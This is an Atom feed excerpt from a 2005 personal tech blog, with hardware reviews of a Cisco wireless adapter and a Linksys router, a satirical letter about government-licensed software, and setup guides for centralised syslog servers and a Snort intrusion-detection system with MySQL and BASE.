rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-6860911363027793351</id><published>2005-04-24T03:00:00.001-04:00</published><updated>2008-01-26T18:43:07.170-05:00</updated><title type='text'>Cisco 340 802.11b PCMCIA Client Adapter</title><content type='html'>&lt;i&gt;Tested with Windows XP and Fedora Core 2&lt;br /&gt;&lt;br /&gt;&lt;/i&gt;&lt;p&gt; &lt;b&gt;Windows&lt;/b&gt; &lt;/p&gt; &lt;p&gt; Works well with Windows when using the Cisco drivers. Ultimately configurable with respect to transmission power and power use settings. &lt;/p&gt; &lt;p&gt; &lt;b&gt;Linux&lt;/b&gt; &lt;/p&gt; &lt;p&gt;The LINUX kernels &gt; 2.3 have the airo_cs module precompiled, making most distributions compatible by default. This supports basic use, but is very hard to configure in any non-standard setup. I was never able to get it working with WEP encryption. I also had difficulty getting the unit to work with Kismet in rfmon mode. &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-6860911363027793351?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/6860911363027793351/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=6860911363027793351' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/6860911363027793351'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/6860911363027793351'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2005/04/cisco-340-80211b-pcmcia-client-adapter.html' title='Cisco 340 802.11b PCMCIA Client Adapter'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-8634123110818395126</id><published>2005-04-24T03:00:00.000-04:00</published><updated>2008-01-26T18:40:41.991-05:00</updated><title type='text'>Linksys WRT54G</title><content type='html'>&lt;p&gt; This is one of the best consumer-grade products I've seen. It has a good mix of features for security and setup with a easy-to-use web-based configuration tool. Excellent coverage and speed. Cisco also offers a buy-back program for Cisco AP upgrades which is very attractive. &lt;/p&gt; &lt;p&gt; &lt;b&gt;Product Information&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;a href="http://www.linksys.com/products/product.asp?grid=33&amp;amp;scid=35&amp;amp;prid=601" mce_href="http://www.linksys.com/products/product.asp?grid=33&amp;amp;scid=35&amp;amp;prid=601"&gt;http://www.linksys.com/products/product.asp?grid=33&amp;amp;scid=35&amp;amp;prid=601&lt;/a&gt; &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-8634123110818395126?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/8634123110818395126/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=8634123110818395126' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/8634123110818395126'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/8634123110818395126'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2005/04/linksys-wrt54g.html' title='Linksys WRT54G'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-7891977291694710916</id><published>2005-03-23T03:00:00.000-05:00</published><updated>2008-01-26T18:35:11.550-05:00</updated><title type='text'>Satire on Government-Regulated Computer Security</title><content type='html'>This is hilarious.  I had to post it.&lt;i&gt;&lt;br /&gt;&lt;br /&gt;From DShield listservice on March 23,2005&lt;br /&gt;&lt;br /&gt;&lt;/i&gt;&lt;p&gt; Dear Mr. Smith, &lt;/p&gt;&lt;p&gt; We, the government of the United States of America, have detected an unauthorized attempt to use a file sharing application on your personal computer. According to our records, you are not licensed to execute any software applications with a security risk rating of 3 or above. &lt;/p&gt;&lt;p&gt; As you know, the "Computer Safety for the People" Act of 2007 prohibits individual computer users from executing potentially dangerous software applications without proper government-licensed permission. This Act was instated to keep citizens such as yourself safe from malicious computer attacks so that we can all enjoy a safer Internet. Each violation of this act could result in fines of up to $10,000 or more. &lt;/p&gt;&lt;p&gt; We have already given you the freedom to browse the World Wide Web and send/receive E-mail, which is all you should really need to do anyway. Because sharing files with other computer users over the Internet represents a much increased security risk, you are not permitted to do so without government authorization. &lt;/p&gt;&lt;p&gt; If you would like to apply for a Class 3 software license, you will need to undergo necessary computer skills training and examinations at a local government facility just like everybody else. Remember, this is not only for your own good, but for the greater good of the society. &lt;/p&gt;&lt;p&gt; Thank you for your cooperation.&lt;br /&gt;-We the People. &lt;/p&gt;&lt;p&gt; -- MS &lt;i&gt;(initials used to protect privacy)&lt;/i&gt; &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-7891977291694710916?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/7891977291694710916/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=7891977291694710916' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/7891977291694710916'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/7891977291694710916'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2005/03/satire-on-government-regulated-computer.html' title='Satire on Government-Regulated Computer Security'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-8076988082228722933</id><published>2005-02-22T03:00:00.000-05:00</published><updated>2008-01-26T20:19:25.925-05:00</updated><title type='text'>Centralizing Syslogs</title><content type='html'>&lt;p&gt;Simple methods to setup a basic syslog server and start sending logs to it.&lt;/p&gt;&lt;p style="font-style: italic;"&gt; Tested with RedHat 7/8/9, Fedora Core 2 and Core 3&lt;/p&gt;&lt;br /&gt;&lt;h2&gt;Set Up a Syslog Server&lt;/h2&gt;&lt;p&gt; Unfortunately the /etc/sysconfig/syslog parameters don't work as I've tested, so manual editing of the /etc/rc.d/init.d/syslog is necessary. Add the "-r" option to the daemon line of the start() function. &lt;/p&gt; &lt;p&gt; /etc/rc.d/init.d/syslog excerpt &lt;/p&gt;   &lt;p class="code"&gt; [...]&lt;br /&gt;start() {&lt;br /&gt; echo -n $"Starting system logger: "&lt;br /&gt; daemon syslogd -h &lt;span class="highlighted"&gt;-r&lt;/span&gt; $SYSLOGD_OPTIONS&lt;br /&gt; RETVAL=$?&lt;br /&gt; echo&lt;br /&gt; echo -n $"Starting kernel logger: "&lt;br /&gt; daemon klogd $KLOGD_OPTIONS&lt;br /&gt; echo&lt;br /&gt;$RETVAL -eq 0 &amp;amp;&amp;amp; touch /var/lock/subsys/syslog&lt;br /&gt; return $RETVAL&lt;br /&gt;}&lt;br /&gt;[...] &lt;/p&gt;   &lt;p&gt; Once edited, save and restart the syslog daemon. &lt;/p&gt; &lt;p class="code"&gt;service syslog restart &lt;/p&gt; &lt;p&gt; Check to see if it is listening on UDP port 514. &lt;/p&gt; &lt;p class="code"&gt;netstat -an | grep 514&lt;/p&gt;&lt;p&gt; &lt;b&gt;SENDING LINUX CLIENT SYSLOGs TO THE SYSLOG SERVER&lt;/b&gt; &lt;/p&gt; &lt;p&gt; Edit the /etc/syslog.conf file to direct the syslog output with the "@" directive. In the example below, note that this syslog is recording both locally and to a remote syslog server. This ensures that the event is recorded locally at the very least if there is a network disruption that prevents communication with the central Syslog server. &lt;/p&gt; &lt;p&gt; /etc/syslog.conf excerpt &lt;/p&gt; &lt;hr /&gt;  &lt;p&gt; [...] &lt;/p&gt; &lt;pre&gt; # Log anything (except mail) of level info or higher.&lt;br /&gt;# Don't log private authentication messages!&lt;br /&gt;*.info;mail.none;authpriv.none;cron.none  /var/log/messages&lt;br /&gt;*.info;mail.none;authpriv.none;cron.none  @10.x.x.x&lt;br /&gt;&lt;/pre&gt; &lt;pre&gt; # The authpriv file has restricted access.&lt;br /&gt;authpriv.*      /var/log/secure&lt;br /&gt;authpriv.*      @10.x.x.x&lt;br /&gt;&lt;/pre&gt; &lt;p&gt; [...] &lt;/p&gt; &lt;hr /&gt;  &lt;p&gt; Once edited, save and restart the syslog daemon. &lt;/p&gt; &lt;pre&gt;  &lt;i&gt;service syslog restart&lt;/i&gt; &lt;/pre&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt; &lt;b&gt;SENDING WINDOWS CLIENT EVENT LOGS TO THE SYSLOG SERVER&lt;/b&gt; &lt;/p&gt; &lt;p&gt; Get NTSyslog from the sourceforge website. &lt;a href="http://ntsyslog.sourceforge.net/" mce_href="http://ntsyslog.sourceforge.net/"&gt;http://ntsyslog.sourceforge.net/&lt;/a&gt;.  Install it, run the GUI control 'NTSyslogCtrl.exe' and direct the machine to the central syslog server. &lt;/p&gt; &lt;p&gt; &lt;b&gt;AUTOMATING DEPLOYMENT&lt;/b&gt; &lt;/p&gt; &lt;p&gt; Create a folder called 'ntsyslog'.  Extract the ntsyslog-1.13.zip &lt;a href="http://aleron.dl.sourceforge.net/sourceforge/ntsyslog/ntsyslog-1.13.zip" mce_href="http://aleron.dl.sourceforge.net/sourceforge/ntsyslog/ntsyslog-1.13.zip"&gt;[1]&lt;/a&gt; file inside that folder, creating a folder 'ntsyslog-1.13'. Create the following batch and registry files in the 'ntsyslog' folder. &lt;/p&gt; &lt;p&gt; &lt;a href="http://192.168.4.10/wiki/index.php?NtSyslogReg" mce_href="wiki/index.php?NtSyslogReg"&gt;NtSyslogReg&lt;/a&gt;&lt;/p&gt;&lt;h1&gt;&lt;a href="http://192.168.4.10/wiki/index.php?refs=NtSyslogReg" mce_href="wiki/index.php?refs=NtSyslogReg"&gt;Nt Syslog Reg&lt;/a&gt;&lt;/h1&gt;  &lt;p&gt; &lt;/p&gt;&lt;p&gt; REGEDIT4 &lt;/p&gt; &lt;p&gt; &lt;u&gt;HKEY_LOCAL_MACHINE\SOFTWARE\SaberNet&lt;/u&gt;&lt;a href="http://192.168.4.10/wiki/index.php?edit=HKEY_LOCAL_MACHINE%5CSOFTWARE%5CSaberNet" mce_href="wiki/index.php?edit=HKEY_LOCAL_MACHINE%5CSOFTWARE%5CSaberNet"&gt;?&lt;/a&gt;&lt;br /&gt;"Syslog"="your.server.here"&lt;br /&gt;"syslog1"="your.other.server.here"&lt;br /&gt;&lt;/p&gt; &lt;p&gt; &lt;u&gt;HKEY_LOCAL_MACHINE\SOFTWARE\SaberNet\Syslog\Application&lt;/u&gt;&lt;a href="http://192.168.4.10/wiki/index.php?edit=HKEY_LOCAL_MACHINE%5CSOFTWARE%5CSaberNet%5CSyslog%5CApplication" mce_href="wiki/index.php?edit=HKEY_LOCAL_MACHINE%5CSOFTWARE%5CSaberNet%5CSyslog%5CApplication"&gt;?&lt;/a&gt;&lt;br /&gt;"Information"=dword:00000000&lt;br /&gt;"Information Priority"=dword:00000009&lt;br /&gt;"Warning"=dword:00000001&lt;br /&gt;"Warning Priority"=dword:00000009&lt;br /&gt;"Error"=dword:00000001&lt;br /&gt;"Error Priority"=dword:00000009&lt;br /&gt;"Audit Success"=dword:00000000&lt;br /&gt;"Audit Success Priority"=dword:00000009&lt;br /&gt;"Audit Failure"=dword:00000001&lt;br /&gt;"Audit Failure Priority"=dword:00000009&lt;br /&gt;&lt;/p&gt; &lt;p&gt; &lt;u&gt;HKEY_LOCAL_MACHINE\SOFTWARE\SaberNet\Syslog\System&lt;/u&gt;&lt;a href="http://192.168.4.10/wiki/index.php?edit=HKEY_LOCAL_MACHINE%5CSOFTWARE%5CSaberNet%5CSyslog%5CSystem" mce_href="wiki/index.php?edit=HKEY_LOCAL_MACHINE%5CSOFTWARE%5CSaberNet%5CSyslog%5CSystem"&gt;?&lt;/a&gt;&lt;br /&gt;"Information"=dword:00000000&lt;br /&gt;"Information Priority"=dword:00000009&lt;br /&gt;"Warning"=dword:00000001&lt;br /&gt;"Warning Priority"=dword:00000009&lt;br /&gt;"Error"=dword:00000001&lt;br /&gt;"Error Priority"=dword:00000009&lt;br /&gt;"Audit Success"=dword:00000000&lt;br /&gt;"Audit Success Priority"=dword:00000009&lt;br /&gt;"Audit Failure"=dword:00000001&lt;br /&gt;"Audit Failure Priority"=dword:00000009&lt;br /&gt;&lt;/p&gt; &lt;p&gt; &lt;u&gt;HKEY_LOCAL_MACHINE\SOFTWARE\SaberNet\Syslog\Security&lt;/u&gt;&lt;a href="http://192.168.4.10/wiki/index.php?edit=HKEY_LOCAL_MACHINE%5CSOFTWARE%5CSaberNet%5CSyslog%5CSecurity" mce_href="wiki/index.php?edit=HKEY_LOCAL_MACHINE%5CSOFTWARE%5CSaberNet%5CSyslog%5CSecurity"&gt;?&lt;/a&gt;&lt;br /&gt;"Information"=dword:00000000&lt;br /&gt;"Information Priority"=dword:00000009&lt;br /&gt;"Warning"=dword:00000001&lt;br /&gt;"Warning Priority"=dword:00000009&lt;br /&gt;"Error"=dword:00000001&lt;br /&gt;"Error Priority"=dword:00000009&lt;br /&gt;"Audit Success"=dword:00000000&lt;br /&gt;"Audit Success Priority"=dword:00000009&lt;br /&gt;"Audit Failure"=dword:00000001&lt;br /&gt;"Audit Failure Priority"=dword:00000009 &lt;/p&gt;&lt;p&gt; &lt;/p&gt; &lt;p&gt; &lt;a href="http://192.168.4.10/wiki/index.php?NtSyslogBatch" mce_href="wiki/index.php?NtSyslogBatch"&gt;NtSyslogBatch&lt;/a&gt;&lt;/p&gt;&lt;h1&gt;&lt;a href="http://192.168.4.10/wiki/index.php?refs=NtSyslogBatch" mce_href="wiki/index.php?refs=NtSyslogBatch"&gt;Nt Syslog Batch&lt;/a&gt;&lt;/h1&gt;  &lt;p&gt; &lt;/p&gt;&lt;p&gt; @echo off&lt;br /&gt;cmd /c xcopy \\&lt;b&gt;&lt;your&gt;\&lt;ntsyslog&gt;&lt;/b&gt;\ntsyslog-1.13\* c:\ntsyslog\ /Y /S&lt;br /&gt;cmd /c c:\ntsyslog\ntsyslog.exe -install&lt;br /&gt;cmd /c regedit /s \\&lt;b&gt;&lt;your&gt;\&lt;ntsyslog&gt;&lt;/b&gt;\ntsyslog.reg&lt;br /&gt;echo Syslogger will be installed at next reboot. &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt; &lt;/p&gt; &lt;p&gt; Resulting tree: &lt;/p&gt; &lt;pre&gt; ntsyslog (shared as \\server\ntsyslog)&lt;br /&gt;   |&lt;br /&gt;   |-------ntsyslog.reg&lt;br /&gt;   |-------install_ntsyslog.bat&lt;br /&gt;   |-------nysyslog-1.3&lt;br /&gt;                |&lt;br /&gt;                |------(NT Syslog files...)&lt;br /&gt;&lt;/pre&gt; &lt;p&gt; &lt;i&gt;** NOTE FOR WINXP SP2 **&lt;/i&gt;&lt;br /&gt;Be sure to enable the NTSYSLOG application in the firewall. Otherwise the log server will receive error messages every second until it is filled (~ 20GB/day). &lt;/p&gt; &lt;p&gt; &lt;b&gt;AUTOMATING DEPLOYMENT FOR WINDOWS 98&lt;/b&gt; &lt;/p&gt; &lt;p&gt; Same as above, only use this modified batch script. &lt;/p&gt; &lt;p&gt; &lt;a href="http://192.168.4.10/wiki/index.php?NtSyslogBatch98" mce_href="wiki/index.php?NtSyslogBatch98"&gt;NtSyslogBatch98&lt;/a&gt;&lt;/p&gt;&lt;h1&gt;&lt;a href="http://192.168.4.10/wiki/index.php?refs=NtSyslogBatch98" mce_href="wiki/index.php?refs=NtSyslogBatch98"&gt;Nt Syslog Batch 98&lt;/a&gt;&lt;/h1&gt;  &lt;p&gt; &lt;/p&gt;&lt;p&gt; @echo off&lt;br /&gt;command /c xcopy \\&lt;b&gt;&lt;your&gt;\&lt;ntsyslog&gt;&lt;/b&gt;\ntsyslog-1.13\* c:\ntsyslog /Y /S&lt;br /&gt;command /c c:\ntsyslog\ntsyslog.exe -install&lt;br /&gt;command /c regedit /s \\&lt;b&gt;&lt;your&gt;\&lt;ntsyslog&gt;&lt;/b&gt;\ntsyslog.reg&lt;br /&gt;echo Syslogger will be installed at next reboot. &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-8076988082228722933?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/8076988082228722933/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=8076988082228722933' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/8076988082228722933'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/8076988082228722933'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2005/02/centralizing-syslogs.html' title='Centralizing Syslogs'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-8258028832195478949</id><published>2005-02-21T03:00:00.001-05:00</published><updated>2008-01-26T20:13:18.532-05:00</updated><title type='text'>Snort Documentation for Creating a Distributed Intusion Detection System on Fedora</title><content type='html'>&lt;i&gt;Tested on Fedora Core 2 and Core 3.&lt;br /&gt;&lt;br /&gt;&lt;/i&gt;&lt;h1&gt;&lt;a href="http://192.168.4.10/wiki/index.php?refs=CentralConsoleSetup" mce_href="wiki/index.php?refs=CentralConsoleSetup"&gt;Central Console Setup&lt;/a&gt;&lt;/h1&gt;&lt;h1&gt;&lt;a href="http://192.168.4.10/wiki/index.php?refs=MySQL%20Database" mce_href="wiki/index.php?refs=MySQL%20Database"&gt;MySQL Database&lt;/a&gt;&lt;/h1&gt;&lt;p&gt; &lt;i&gt;Based on Patrick Harper's guide to Snort/Acid installation (&lt;a href="http://www.snort.org/docs/Snort_SSL_FC2.pdf" mce_href="http://www.snort.org/docs/Snort_SSL_FC2.pdf"&gt;http://www.snort.org/docs/Snort_SSL_FC2.pdf&lt;/a&gt;)&lt;/i&gt; &lt;/p&gt; &lt;hr /&gt;  &lt;p&gt; &lt;b&gt;DATABASE INSTALLATION&lt;/b&gt; &lt;/p&gt; &lt;p&gt; If necessary, install the database package and start the service. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;yum install mysql&lt;/i&gt;&lt;br /&gt; &lt;i&gt;service mysqld start&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; Download the latest SNORT package (&lt;a href="http://www.snort.org/dl/snort-2.3.0.tar.gz" mce_href="http://www.snort.org/dl/snort-2.3.0.tar.gz"&gt;http://www.snort.org/dl/snort-2.3.0.tar.gz&lt;/a&gt;) and version 2.2.0 (&lt;a href="http://www.snort.org/dl/snort-2.2.0.tar.gz" mce_href="http://www.snort.org/dl/snort-2.2.0.tar.gz"&gt;http://www.snort.org/dl/snort-2.2.0.tar.gz&lt;/a&gt;).  Both will be needed to get the extra features of the database loaded. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;cd /usr/local/src&lt;/i&gt;&lt;br /&gt; &lt;i&gt;wget &lt;a href="http://www.snort.org/dl/snort-2.3.0.tar.gz" mce_href="http://www.snort.org/dl/snort-2.3.0.tar.gz"&gt;http://www.snort.org/dl/snort-2.3.0.tar.gz&lt;/a&gt;&lt;/i&gt;&lt;br /&gt; &lt;i&gt;wget &lt;a href="http://www.snort.org/dl/snort-2.2.0.tar.gz" mce_href="http://www.snort.org/dl/snort-2.2.0.tar.gz"&gt;http://www.snort.org/dl/snort-2.2.0.tar.gz&lt;/a&gt;&lt;/i&gt;&lt;br /&gt; &lt;i&gt;tar xvfz snort-2.3.0.tar.gz&lt;/i&gt;&lt;br /&gt; &lt;i&gt;tar xvfz snort-2.2.0.tar.gz&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; Time to make the database. If this is your first installation of MySQL, be sure to set the root password. Create a database 'snort', a user for it, and grant the appropriate permissions. &lt;i&gt;**NOTE: This is lifted almost verabtim from Patrick's doc at &lt;a href="http://www.snort.org/docs/Snort_SSL_FC2.pdf" mce_href="http://www.snort.org/docs/Snort_SSL_FC2.pdf"&gt;http://www.snort.org/docs/Snort_SSL_FC2.pdf&lt;/a&gt;.  I've modified some of the content slightly to fit this example.&lt;/i&gt; &lt;/p&gt; &lt;hr /&gt;  &lt;pre&gt; &lt;i&gt;mysql&lt;/i&gt;&lt;br /&gt; mysql&gt; &lt;i&gt;SET PASSWORD FOR root@localhost=PASSWORD('password');&lt;/i&gt;&lt;br /&gt; &gt;Query OK, 0 rows affected (0.25 sec)&lt;br /&gt; mysql&gt; &lt;i&gt;create database snort;&lt;/i&gt;&lt;br /&gt; &gt;Query OK, 1 row affected (0.01 sec)&lt;br /&gt; mysql&gt; &lt;i&gt;grant INSERT,SELECT on root.* to snort@localhost;&lt;/i&gt;&lt;br /&gt; &gt;Query OK, 0 rows affected (0.02 sec)&lt;br /&gt; mysql&gt; &lt;i&gt;SET PASSWORD FOR snort@localhost=PASSWORD('password_from_snort.conf');&lt;/i&gt;&lt;br /&gt; &gt;Query OK, 0 rows affected (0.25 sec)&lt;br /&gt; mysql&gt; &lt;i&gt;grant CREATE, INSERT, SELECT, DELETE, UPDATE on snort.* to snort@localhost;&lt;/i&gt;&lt;br /&gt; &gt;Query OK, 0 rows affected (0.02 sec)&lt;br /&gt; mysql&gt; &lt;i&gt;grant CREATE, INSERT, SELECT, DELETE, UPDATE on snort.* to snort;&lt;/i&gt;&lt;br /&gt; &gt;Query OK, 0 rows affected (0.02 sec)&lt;br /&gt; mysql&gt; &lt;i&gt;exit&lt;/i&gt;&lt;br /&gt; &gt;Bye&lt;br /&gt;&lt;/pre&gt; &lt;p&gt; Execute the following commands to create the tables &lt;/p&gt; &lt;pre&gt; &lt;i&gt;mysql -u root -p &lt; /usr/local/src/snort-2.3.0/contrib/create_mysql snort&lt;/i&gt;&lt;br /&gt; Enter password: &lt;i&gt;the mysql root password&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; Then install the extra DB tables using the following command &lt;/p&gt; &lt;pre&gt; &lt;i&gt;zcat /usr/local/src/snort-2.2.0/contrib/snortdb-extra.gz |mysql -p snort&lt;/i&gt;&lt;br /&gt; Enter password: &lt;i&gt;the mysql root password&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; Now you need to check and make sure that the Snort DB was created correctly &lt;/p&gt; &lt;pre&gt; &lt;i&gt;mysql -p&lt;/i&gt;&lt;br /&gt; &gt;Enter password:&lt;br /&gt; mysql&gt; &lt;i&gt;SHOW DATABASES;&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; (You should see the following) &lt;/p&gt; &lt;p&gt; +------------+&lt;br /&gt;| Database&lt;br /&gt;+------------+&lt;br /&gt;| mysql&lt;br /&gt;| Snort&lt;br /&gt;| test&lt;br /&gt;+------------+&lt;br /&gt;3 rows in set (0.00 sec)&lt;br /&gt;&lt;/p&gt; &lt;pre&gt; mysql&gt; &lt;i&gt;use Snort&lt;/i&gt;&lt;br /&gt; &gt;Database changed mysql&gt; &lt;i&gt;SHOW TABLES;&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; +------------------+&lt;br /&gt;| Tables_in_Snort&lt;br /&gt;+------------------+&lt;br /&gt;| data&lt;br /&gt;| detail&lt;br /&gt;| encoding&lt;br /&gt;| event&lt;br /&gt;| flags&lt;br /&gt;| icmphdr&lt;br /&gt;| iphdr&lt;br /&gt;| opt&lt;br /&gt;| protocols&lt;br /&gt;| reference&lt;br /&gt;| reference_system&lt;br /&gt;| schema&lt;br /&gt;| sensor&lt;br /&gt;| services&lt;br /&gt;| sig_class&lt;br /&gt;| sig_reference&lt;br /&gt;| signature&lt;br /&gt;| tcphdr&lt;br /&gt;| udphdr&lt;br /&gt;+------------------+&lt;br /&gt;19 rows in set (0.00 sec)&lt;br /&gt;&lt;/p&gt; &lt;pre&gt; mysql&gt; &lt;i&gt;exit&lt;/i&gt; &lt;/pre&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;h1&gt;&lt;a href="http://192.168.4.10/wiki/index.php?refs=BASE%20Analytics" mce_href="wiki/index.php?refs=BASE%20Analytics"&gt;BASE Analytics&lt;/a&gt;&lt;/h1&gt;&lt;p&gt; &lt;i&gt;Based on Patrick Harper's guide to Snort/Acid installation (&lt;a href="http://www.snort.org/docs/Snort_SSL_FC2.pdf" mce_href="http://www.snort.org/docs/Snort_SSL_FC2.pdf"&gt;http://www.snort.org/docs/Snort_SSL_FC2.pdf&lt;/a&gt;)&lt;/i&gt; &lt;/p&gt; &lt;hr /&gt;  &lt;p&gt; &lt;b&gt;BASE INSTALLATION&lt;/b&gt; &lt;/p&gt; &lt;p&gt; If necessary, install the web server package and start the service. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;yum install httpd&lt;/i&gt;&lt;br /&gt; &lt;i&gt;service httpd start&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; Download the latest JPGraph (&lt;a href="http://www.aditus.nu/jpgraph/jpdownload.php" mce_href="http://www.aditus.nu/jpgraph/jpdownload.php"&gt;http://www.aditus.nu/jpgraph/jpdownload.php&lt;/a&gt;) and ADODB (&lt;a href="http://phplens.com/lens/dl/adodb453.tgz" mce_href="http://phplens.com/lens/dl/adodb453.tgz"&gt;http://phplens.com/lens/dl/adodb453.tgz&lt;/a&gt;) packages.  Unpack and install them.  This example assumes a default web root at /var/www/html. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;cd /usr/local/src&lt;/i&gt;&lt;br /&gt; &lt;i&gt;wget &lt;a href="http://phplens.com/lens/dl/adodb453.tgz" mce_href="http://phplens.com/lens/dl/adodb453.tgz"&gt;http://phplens.com/lens/dl/adodb453.tgz&lt;/a&gt;&lt;/i&gt;&lt;br /&gt; &lt;i&gt;wget &lt;a href="http://members.chello.se/jpgraph/jpgdownloads/jpgraph-1.17.tar.gz" mce_href="http://members.chello.se/jpgraph/jpgdownloads/jpgraph-1.17.tar.gz"&gt;http://members.chello.se/jpgraph/jpgdownloads/jpgraph-1.17.tar.gz&lt;/a&gt;&lt;/i&gt;&lt;br /&gt; &lt;i&gt;tar xvfz adodb453.tgz&lt;/i&gt;&lt;br /&gt; &lt;i&gt;tar xvfz jpgraph-1.17.tar.gz&lt;/i&gt;&lt;br /&gt; &lt;i&gt;mv adodb /var/www/&lt;/i&gt;&lt;br /&gt; &lt;i&gt;mv jpgraph-1.17 /var/www/&lt;/i&gt;&lt;br /&gt; &lt;i&gt;ln -s /var/www/jpgraph-1.17 /var/www/jpgraph&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; Download BASE (&lt;a href="http://www.snort.org/dl/contrib/data_analysis/BASE/" mce_href="http://www.snort.org/dl/contrib/data_analysis/BASE/"&gt;http://www.snort.org/dl/contrib/data_analysis/BASE/&lt;/a&gt;) from the snort website and unpack it. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;wget &lt;a href="http://www.snort.org/dl/contrib/data_analysis/BASE/base-1.0.tar.gz" mce_href="http://www.snort.org/dl/contrib/data_analysis/BASE/base-1.0.tar.gz"&gt;http://www.snort.org/dl/contrib/data_analysis/BASE/base-1.0.tar.gz&lt;/a&gt;&lt;/i&gt;&lt;br /&gt; &lt;i&gt;tar xvfz base-1.0.tar.gz&lt;/i&gt;&lt;br /&gt; &lt;i&gt;mv base /var/www/html/&lt;/i&gt; &lt;/pre&gt; &lt;p&gt; Create the BASE configuration file and define the variables. &lt;/p&gt; &lt;pre&gt; &lt;i&gt;cd /var/www/html/base&lt;/i&gt;&lt;br /&gt; &lt;i&gt;cp base_conf.php.dist base_conf.php&lt;/i&gt;&lt;br /&gt; &lt;i&gt;vi base_conf.php&lt;/i&gt;&lt;br /&gt;   &lt;b&gt;Set &lt;a href="http://192.168.4.10/wiki/index.php?%24BASE_urlpath" mce_href="wiki/index.php?%24BASE_urlpath"&gt;$BASE_urlpath&lt;/a&gt; to the web path used to access BASE&lt;/b&gt;&lt;br /&gt;   &lt;i&gt;&lt;a href="http://192.168.4.10/wiki/index.php?%24BASE_urlpath" mce_href="wiki/index.php?%24BASE_urlpath"&gt;$BASE_urlpath&lt;/a&gt; = 